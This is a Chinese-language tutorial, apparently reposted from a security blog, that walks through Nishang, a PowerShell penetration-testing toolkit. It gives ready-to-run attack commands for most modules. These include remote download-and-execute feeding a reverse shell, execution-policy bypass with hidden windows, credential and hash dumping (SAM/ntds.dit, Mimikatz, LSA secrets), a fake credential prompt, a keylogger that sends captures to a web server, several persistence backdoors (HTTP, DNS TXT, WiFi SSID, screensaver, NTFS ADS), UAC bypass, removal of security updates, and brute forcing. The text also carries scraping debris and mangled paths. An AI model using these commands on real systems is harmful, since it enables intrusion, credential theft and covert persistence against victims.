做者:V1ct0rphp
稿費:500RMB(不服你也來投稿啊!)css
投稿方式:發送郵件至linwei#360.cn,或登錄網頁版在線投稿html
傳送門nginx
【技術分享】Powershell 滲透測試工具-Nishang(一)git
0x00 介紹github
Powershell用於滲透測試其實早在多年前就已經被提出了。利用Powershell,攻擊者能夠在無需接觸磁盤的狀況下執行命令等,而且相較已經被你們普遍關注並防護的Cmd而言,Powershell並不是那麼的引人矚目。Nishang是基於PowerShell的滲透測試專用工具。它集成了框架、腳本和各類payload,可以幫助滲透測試人員在對Windows目標的全過程檢測中使用,是一款來源於做者實戰經歷的智慧結晶。至今,Nishang最新版本已爲v0.67了。本文我將具體介紹這款實用的Powershell滲透測試工具。sql
0x01 使用shell
要使用Nishang,咱們首先須要在[做者的Github]上面下載它,以後加載這些腳本。 windows
Nishang須要咱們的Powershell版本在v3以上才能使用,這裏順便提供兩種查看當前咱們當前Powershell版本的方法: 瀏覽器
1.直接在咱們的Powershell下執行」get-host」命令:
2.咱們還能夠在Powershell下執行」$PSVersionTable.PSVersion」:
須要知道的是:
默認狀況下的Server OS 對應的 Powershell的版本: Windows 2008 R2 - Version 2 Windows 2012 - Version 3 Windows 2012 R2 - Version 4 Windows 2016 - Version 5
如今咱們須要加載咱們的腳本:
PS D:nishang-master> Import-Module .nishang.psm1
你可能會遇到下面的問題:
這是由於咱們Powershell的默認的執行策略是Restricted的,而Restricted是不容許任何腳本運行的,咱們可使用下面的命令來來查看當前的執行策略:
PS D:nishang-master> Get-ExecutionPolicy
這裏咱們須要將執行模式改成RemoteSigned,這樣就能夠執行其餘用戶的腳本了:
PS D:nishang-master> set-executionpolicy remotesigned //這須要在管理員的狀態下執行
如今,咱們就能夠正常進行加載了。
固然,上面是基於咱們在本地進行測試的狀況下,若是是在真實的攻擊場景之下,咱們仍是不宜去作一些全局策略的更改的,這裏簡單推薦幾個Bypass執行策略的Tricks:
0. Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted //設置當前用戶的執行策略爲Unrestricted,也算是去更改了當前的全局策略 1. powershell.exe -executionpolicy bypass -Windowstyle hidden -noninteractive -nologo -File //或是下面這種,-Windowstyle hidden 可讓咱們的執行無任何彈窗 2. PowerShell.exe -ExecutionPolicy Bypass -File
想了解更多姿式,你們能夠看看Bypass執行策略的十五種方法:
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
而後,咱們使用Dot Sourcing的方式來加載獨立的腳本:
PS D:nishang-master> ."D:nishang-masterGatherGet-Information.ps1"
在以後的使用中,咱們可使用」Get-Help」命令來獲取當前腳本的用法和說明等,如:
PS D:nishang-master> ."D:nishang-masterGatherGet-WLAN-Keys.ps1 PS D:nishang-master> Get-Help Get-Wlan-Keys
還須要說的一點是,咱們能夠在Powershell中使用」 Out-File」來將咱們的執行結果導出到文件中,如:
PS D:nishang-master> Get-Information | Out-File res.txt
就能夠把獲取到的信息保存在res.txt中了。
最後,須要介紹兩種在內存當中去加載腳本的方式
第一種:
powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.] //
這裏IEX能夠遠程下載咱們的腳本
第二種,咱們能夠在Powershell中使用Invoke-Encode腳原本將咱們現有的腳本編碼壓縮,生成編碼後的內容,過程以下:
PS D:nishang-master> Invoke-Encode -DataToEncode "D:nishang-masterShellsInvoke-PowerShellTcp.ps1" -OutCommand Encoded data written to .encoded.txt Encoded command written to .encodedcommand.txt
在咱們的encodedcommand.txt文件中咱們能夠看到編碼後的內容和效果:
而後在目標上(Web shell,meterpreter native shell等均可以)使用以下命令執行:
C:Userstarget> powershell -e [encodedscript]
這裏涉及到的Invoke-PowerShellTcp腳本,咱們將在後文對於具體模塊的腳本介紹時談到。
0x02 模塊介紹
0.信息蒐集
Check-VM
從這個腳本的名字就能夠看出來,它是用於檢測當前的機器是不是一臺已知的虛擬機的。它經過檢測已知的一些虛擬機的指紋信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)來識別。
執行方式:
PS > Check-VM
測試
Copy-VSS
這個腳本利用Volume Shadow Copy 服務來複製出SAM文件。若是這個腳本運行在了DC機上ntds.dit和SYSTEM hive也能被拷貝出來。
執行方式:
PS > Copy-VSS //將會直接把文件保存在當前路徑下 PS > Copy-VSS -DestinationDir C:temp //指定保存文件的路徑(必須是已經存在的路徑)
測試
Invoke-CredentialsPhish
這個腳本是用來欺騙用戶輸入帳號密碼信息的。
執行方式:
PS > Invoke-CredentialsPhish
測試
執行後會彈出這個框欺騙用戶輸入
直到用戶輸入正確後這個框纔會消失,而後咱們就能夠獲得明文的管理員帳號密碼:
FireBuster FireListener
FireBuster能夠對內網進行掃描,它會把包發給FireListener
執行方式:
PS > FireBuster 10.10.10.10 1000-1020 PS > FireListener -portrange 1000-1020
該腳本做者的Github上面還提供了一個Python版的監聽端:
https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/
測試
咱們首先在咱們的機器(Attacker)上面運行FireListener:
FireListener 100-110
Victim:
FireBuster 192.168.199.1 90-110 -Verbose
Get-Information
這個腳本能夠獲取目標機器上大量的信息(FTP訪問,進程,計算機配置信息,無線網絡和設備的信息,Hosts信息等等非超豐富)。
執行方式:
PS > Get-Information
還能夠用咱們前面說過的Out-File來將運行結果保存到指定文件。
Get-LSASecret
該腳本能夠獲取LSA信息,可是使用的前提固然是你已經成功提高了權限的狀況下,一般和咱們後面提權當中涉及到的Enable-DuplicateToken(幫助咱們得到System權限)聯合使用。
執行方式:
PS > Enable-DuplicateToken
PS > Get-LsaSecret
PS > Get-LsaSecret -RegistryKey KeyName //還能夠指定鍵名
Get-PassHashes
這個腳本在Administrator的權限下,能夠dump出密碼哈希值。這個腳原本自於msf中powerdump,但作出了修改,使得咱們再也不須要System權限就能夠dump了。
執行方式:
PS > Get-PassHashes -PSObjectFormat //可使用-PSObjectFormat來格式化輸出結果
Get-WLAN-Keys
在Administrator的權限下,能夠利用這個腳原本dump出WLAN文件的密鑰信息。實質上,這個腳本就是利用了netsh wlan show profile name=」」 key=clear來獲取。
執行方式:
PS > Get-WLAN-Keys
Keylogger
Keylogger能夠保存下用戶的鍵盤記錄。
執行方式:
PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis //-CheckURL參數會去檢查所給出的網頁之中是否包含 -MagicString後的字符串,若是存在的話就中止使用記錄。 PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php //將記錄指定發送給一個能夠記錄Post請求的Web服務器 PS > .Keylogger.ps1 -persist //實現持久化記錄(重啓後依然進行記錄) PS > .Keylogger.ps1 //直接以這種方式來運行,鍵盤記錄會保存在當前用戶的Temp目錄下key文件中
測試
首先執行 PS > .Keylogger.ps1
發如今當前用戶的Temp目錄下生成了Key的文件,這時咱們使用nishang Utility中的Parse_Keys來解析
PS >Parse_Keys .key.log .parsed.txt
而後parsed.txt裏面就是解析後的按鍵記錄了
Invoke-MimikatzWdigestDowngrade
Dump出Windows 8.1 and Server 2012的系統用戶密碼。
執行方式:
PS >Invoke-MimikatzWDigestDowngrade PS > Get-Job | Receive-Job
執行了
PS >Invoke-MimikatzWDigestDowngrade
Windows會鎖屏
以後執行
Get-Job
發現嘗試屢次都測試失敗
解決辦法能夠參考:
[域滲透——Dump Clear-Text Password after KB2871997 installed]
Get-PassHints
這個腳本能夠從Windows得到用戶的密碼的提示信息,須要有Administrator的權限來讀取SAM hive。
執行方式:
PS > Get-PassHints
Show-TargetScreen
使用MJPEG傳輸目標機器的遠程桌面的實時畫面,在本機咱們可使用NC或者Powercat來進行監聽。在本地使用支持MJPEG的瀏覽器(如:Firefox)訪問本機對應監聽端口,便可在瀏覽器上面看到遠端傳輸回來的實時畫面。
PS > Show-TargetScreen -Reverse -IPAddress 192.168.230.1 -Port 443 //將遠程的畫面傳送到192.168.230.1的443端口
測試
Victim:
Show-TargetScreen -IPAddres 192.168.199.127 -Port 5773 -Reverse
Attacker:
nc.exe -nlvp 5773 | nc.exe -nlvp 9000 //這裏我使用的NC,也能夠用Powercat
本機訪問:127.0.0.1:9000
Invoke-Mimikatz
Mimikatz你們都很是熟悉了,就再也不介紹了
執行方式:
Invoke-Mimikatz -DumpCerts //Dump出本機的憑證信息 Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") //Dump出遠程兩臺計算機的憑證信息 Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" //在遠程一臺機器上運行Mimikatz並執行"privilege::debug exit"
1.域相關腳本
Get-Unconstrained
查找域內開啓了Kerberos Unconstrained Delegation的機器。
執行方式:
PS > Get-Unconstrained //返回開啓的計算機名 PS > Get-Unconstrained -Details //返回更詳細的信息
關於」經過Kerberos Unconstrained Delegation獲取到域管理員」:
http://www.freebuf.com/articles/terminal/98530.html
2.Antak Webshell
Antak
一個ASPX的Webshell,經過這個Webshell能夠編碼、執行腳本,上傳、下載文件。
執行方式:
上傳Webshell後把它當成一個正常的Powershell執行窗口來使用 上傳和下載文件,只須要填寫好對應路徑點擊上傳、下載按鈕便可
關於Antak Webshell的更多介紹,請參考:
http://www.labofapenetrationtester.com/2014/06/introducing-antak.html
3.後門
HTTP-Backdoor
HTTP-Backdoor能夠幫助咱們在目標機器上下載和執行Powershell腳本
執行方式:
PS > HTTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -MagicString start123 -StopString stopthis
下面解釋下幾個比較重要的參數:
CheckURL 給出一個URL地址,若是存在咱們MagicString中的值就去執行Payload - 下載運行咱們的腳本 PayloadURL 這個參數給出咱們須要下載的Powershell腳本的地址 Arguments 這個參數指定咱們要執行的函數 StopString 這個參數也會去看是否存在咱們CheckURL返回的字符串,若是存在就會中止執行
DNS_TXT_Pwnage
利用DNS隧道來進行信息傳輸、通訊的小技巧已經很多見了。在Nishang中也集成了一個經過DNS TXT來接收命令或者腳本的後門腳本。使用DNS_TXT_Pwnage這個腳本,咱們通常須要配合Utility下的Out-DnsTxt使用。
因此這裏首先說下Out-DnsTxt的使用:
PS >Out-DnsTxt -DataToEncode path //path處是你想編碼的內容的路徑
以後,它會生成一個編碼後的文件,以下圖所示
而後咱們去添加對應的TXT記錄就好了,encoded.txt文件中每一行爲一條記錄
添加完後咱們還須要添加兩條TXT記錄,內容爲start和stop
添加完成後,咱們就能夠利用DNS_TXT_Pwnage這個腳本了
執行方式:
PS >DNS_TXT_Pwnage -startdomain start.test.com -cmdstring start -commanddomain command.test.com -psstring test -psdomain xxx.test.com -Subdomains 1 -StopString stop
具體參數的意思:
startdomain 會一直去檢測咱們指定域名的TXT記錄,並把返回的記錄與咱們輸入的cmdstring以及psstring進行比較 cmdstring 是咱們任意輸入的字符串,若是startdomain與咱們這裏輸入的cmdstring值相等則執行commanddomain命令 commanddomain 建立的執行命令TXT記錄的域名 psstring 是咱們任意輸入的字符串,若是與咱們這裏輸入的psstring值相等則執行psdomain腳本 psdomain 是咱們建立的執行腳本TXT記錄的域名 Subdomains 是執行腳本建立TXT記錄的個數 StopString 是任意輸入的字符串,若是這裏輸入的字符串與startdomain中返回的記錄相同將會中止執行咱們的Payload Arguments 指定要執行的函數名
Execute-OnTime
執行方式:
PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload
具體參數的意思:
PayloadURL 指定咱們腳本下載的地址 Arguments 指定執行的函數名 Time 參數能夠設定腳本執行的時間(例如 -Time 23:21) CheckURL 參數會檢測咱們一個指定的URL內容是否存在StopString給出的字符串,若是發現了就中止執行
Gupt-Backdoor
Gupt-Backdoor這個腳本能夠幫助咱們經過無線SSID反彈後門和執行命令。
執行方式:
PS >Gupt-Backdoor -MagicString test -Verbose
這裏解釋一下MagicString這個參數:
MagicString開頭的4個字符是用來識別咱們創建的WIFI SSID的。例如,這裏是test,Gupt後門會去自動匹配咱們WIFI中SSID以test開頭的。而MagicString這個參數從第五個字符開始就決定了咱們是執行命令或是下載腳本。
須要注意的是:
若是它的第五個字符是c就表明執行命令。
例如:-MagicString testcwhoami
就會匹配WIFI SSID爲test的,並執行命令whoami
若是它的第五個字符是u的話就表明下載腳本。
例如:-MagicString testuXXXX
就會匹配WIFI SSID爲test的,並默認下載http://goo.gl/XXXX
(其中http://goo.gl可在腳本的$PayloadURL參數中修改)
還能夠用Arguments參數來指定下載腳本
例如:
PS >Gupt-Backdoor -MagicString test -Argument Get-Information -Verbose
就能夠下載Get-Information的腳本了
補充
Windows下建立一個WIFI:
cmd
netsh wlan set hostednetwork mode=allow netsh wlan set hostednetwork ssid=test key=1234567890 netsh wlan start hostednetwork
Add-ScrnSaveBackdoor
這個腳本能夠幫助咱們利用Windows的屏保來留下一個隱藏的後門
執行方式:
PS >Add-ScrnSaveBackdoor -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process" //使用這條語句能夠執行咱們本身的Payload PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis //利用這條命令能夠從powershell執行一個HTTP-Backdoor PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code_exec.ps1 //還可使用msfvenom先生成一個powershell (./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell),而後利用這條命令返回一個meterpreter
其餘具體的參數的意思和咱們上面介紹的一些後門是相似的
PayloadURL 指定咱們須要下載的腳本地址 Arguments 指定咱們要執行的函數以及相關參數
Invoke-ADSBackdoor
這個腳本是使用NTFS數據流留下一個永久性後門。其實,由NTFS數據流帶來的一些安全問題的利用並很多見了(如:利用NTFS數據流在Mysql UDF提權中建立lib/plugin目錄),你們能夠參考《NTFS ADS帶來的WEB安全問題》
這個腳本能夠向ADS中注入代碼而且以普通用戶權限運行
執行方式:
PS >Invoke-ADSBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor "http://pastebin. com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis
這個腳本主要有兩個參數,在上面介紹其餘後門當中已經說明了,這裏是相似的
須要說明的是,執行後它會在AppData的目錄下創建一個ads並把咱們的Payload注入進去,若是咱們但願在cmd下看到咱們這裏創建的ads,須要使用:dir /a /r
4.客戶端
對於這一部分的腳本,我就再也不贅述了,由於網上早已經有了對於這一部分腳本的介紹說明:
使用Powershell Client進行有效釣魚
5.權限提高
Enable-DuplicateToken
這個腳本能夠幫助咱們在已經得到了必定權限的狀況下,使咱們提高到System權限。
執行方式
PS > Enable-DuplicateToken
具體的相關介紹能夠查閱:
Remove-Update
這個腳本能夠幫助咱們移除系統全部的更新,或全部安全更新,以及指定編號的更新。
執行方式:
PS > Remove-Update All //移除目標機器上的全部更新 PS > Remove-Update Security //移除目標機器上全部安全相關更新 PS > Remove-Update KB2761226 //移除指定編號的更新
Invoke-PsUACme
Invoke-PsUACme使用了來自於UACME項目的DLL來Bypass UAC。
上表給出了各類UAC繞過的方法,咱們能夠在Invoke-PsUACme中指定相應方法執行。
執行方式:
PS > Invoke-PsUACme -Verbose //使用Sysprep方法和默認的Payload執行 PS > Invoke-PsUACme -method oobe -Verbose //使用oobe方法和默認的Payload執行 PS > Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload" //使用-Payload參數能夠自行指定要執行的Payload
除開以上而外,咱們還可使用-PayloadPath參數來指定Payload的路徑,默認狀況下Payload會在C:WindowsTempcmd.bat結束。還可使用-CustomDLL64(64位)或-CustomDLL32(32位)參數來自定義一個DLL文件。
6.掃描
Invoke-BruteForce
這個腳本能夠對SQL Server、域控制器、Web以及FTP進行口令的爆破
執行方式:
PS > Invoke-BruteForce -ComputerName targetdomain.com -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose //爆破域控制器 PS > Invoke-BruteForce -ComputerName SQLServ01 -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose //爆破SQL Server PS > cat C:testservers.txt | Invoke-BruteForce -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose //爆破server.txt中全部servers的SQL Server
主要的參數:
ComputerName 用於指定對應服務的計算機名 UserList 用戶名字典 PasswordList 密碼字典 Service 服務類型(注意默認爲:SQL) StopOnSuccess 成功找到一個後就中止執行
Invoke-PortScan
利用這個腳本咱們能夠在目標機器上對內網進行端口掃描
執行方式:
PS >Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.10.254 -ResolveHost -ScanPort -Port 80
主要的參數:
StartAddress 掃描範圍開始的地址 EndAddress 掃描範圍結束的地址 ScanPort 進行端口掃描 Port 指定掃描端口(默認掃描端口:21,22,23,53,69,71,80,98,110,139,111, 389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901) TimeOut 設置超時時間
7.中間人
Invoke-Interceptor
這個腳本能夠經過創建一個代理服務器的方式來攔截HTTPS的請求,並將這些請求記錄下來
執行方式:
PS >Invoke-Interceptor -ProxyServer 192.168.230.21 -ProxyPort 3128 //這條命令將默認在8081端口監聽並把請求發送給上游代理的3128端口
能夠經過ListenPort來修改咱們目標機器上的監聽端口(默認8081端口)
例如
咱們在目標機器上執行:
而後這裏本機我用NC來監聽對應端口:
接收到了來自目標機的請求數據
而且這個腳本會在目標機的TEMP目錄下生成interceptor.log的文件來記錄請求數據
0x03 結語
Nishang這款基於PowerShell的滲透測試專用工具集成了很是多實用的腳本與框架,方便咱們在滲透測試過程之中使用。儘管,在一些環境下咱們可能沒有辦法去執行Powershell,可是經過查看這些腳本的具體代碼,咱們也能夠本身去完成實現腳本提供的一些功能。限於篇幅,本文只能拋磚引玉地介紹Nishang的部分功能,但願你們可以在實際的應用之中去體驗。
參考